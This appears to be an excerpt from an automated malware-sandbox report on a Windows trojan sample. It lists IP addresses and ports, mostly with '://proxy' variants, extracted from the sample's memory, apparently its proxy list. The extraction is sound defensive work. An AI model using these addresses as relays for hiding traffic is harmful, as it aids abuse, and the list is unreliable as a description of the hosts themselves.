Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.30.84.76:34090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.30.84.76:34090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.30.84.78:34090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.30.84.78:34090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.34.91.67:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.34.91.67:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.35.20.90
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.35.20.90://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.35.20.90:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.35.29.39
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.35.29.39://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.35.29.39:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.35.3.117
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.35.3.117://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.35.3.117:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.36.17.173:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.36.17.173:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.66.156.196:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.66.156.196:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.74.72.111:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.74.72.111:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.90.216.75:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.90.216.75:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.93.200.140
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA4FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.93.200.140://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.0.111.186:46048
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.0.111.186:46048://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.0.111.194:48009
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.0.111.194:48009://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.1.95.124
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.1.95.124://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.1.95.124:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.15.237.
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E92000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.15.237.197:1888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.15.237.197:1888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.2.13.12:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.2.13.12:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.20.12.21:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7883000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.20.12.21:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.20.12.25:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.20.12.25:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.20.125.129:8083
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.20.125.129:8083://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.20.125.133:8083
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.20.125.133:8083://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.20.21.82:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.20.21.82:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.202.210.73:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.202.210.73:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.204.24.251:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.204.24.251:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.216.13.36:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.216.13.36:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.216.65.57:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.216.65.57:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.219.202.74:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.219.202.74:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.223.129.21
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.223.129.21://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.223.129.21:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA50C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA6C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.251.221.30:8104
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA533000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.251.221.30:8104://proxyP
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.3.99.162:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.3.99.162:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFFB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC6FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.43.97.114:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC6FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.43.97.114:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.61.44.54:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.61.44.54:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.157.254.162:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.157.254.162:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.159.130.134:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.159.130.134:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.211.240.119:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.211.240.119:5678://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80FA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.36.85:41890
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C80FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.36.85:41890://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C84D2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.47.122:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.47.122:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.65.40:55443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.65.40:55443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C692F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.85.163:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C692F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.85.163:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.121.222:8291
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.121.222:8291://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.24:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.24:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.30:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.30:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.46:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.46:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.49:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.49:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F89000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.52:36902
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C813B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.52:36902://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.5:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.5:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.63:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.63:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C918F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.66:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C918F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.66:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.82:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.82:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.93:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.93:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.94:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.94:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.235.12.130:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.235.12.130:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.243.20.186
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.243.20.186://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.243.20.186:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.245.189.194:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.245.189.194:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.248.86.237:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.248.86.237:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.253.30.1:10081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.253.30.1:10081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.254.84.86:32650
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.254.84.86:32650://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.255.125.12
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.255.125.12://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.0.198.132:54321
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.0.198.132:54321://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.0.198.132:54321x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.105.111.86:6764
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.105.111.86:6764://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.117:13270
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.117:13270://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.117:27055
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.117:27055://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.117:30794
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.117:30794://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.117:32229
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.117:32229://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.117:4971
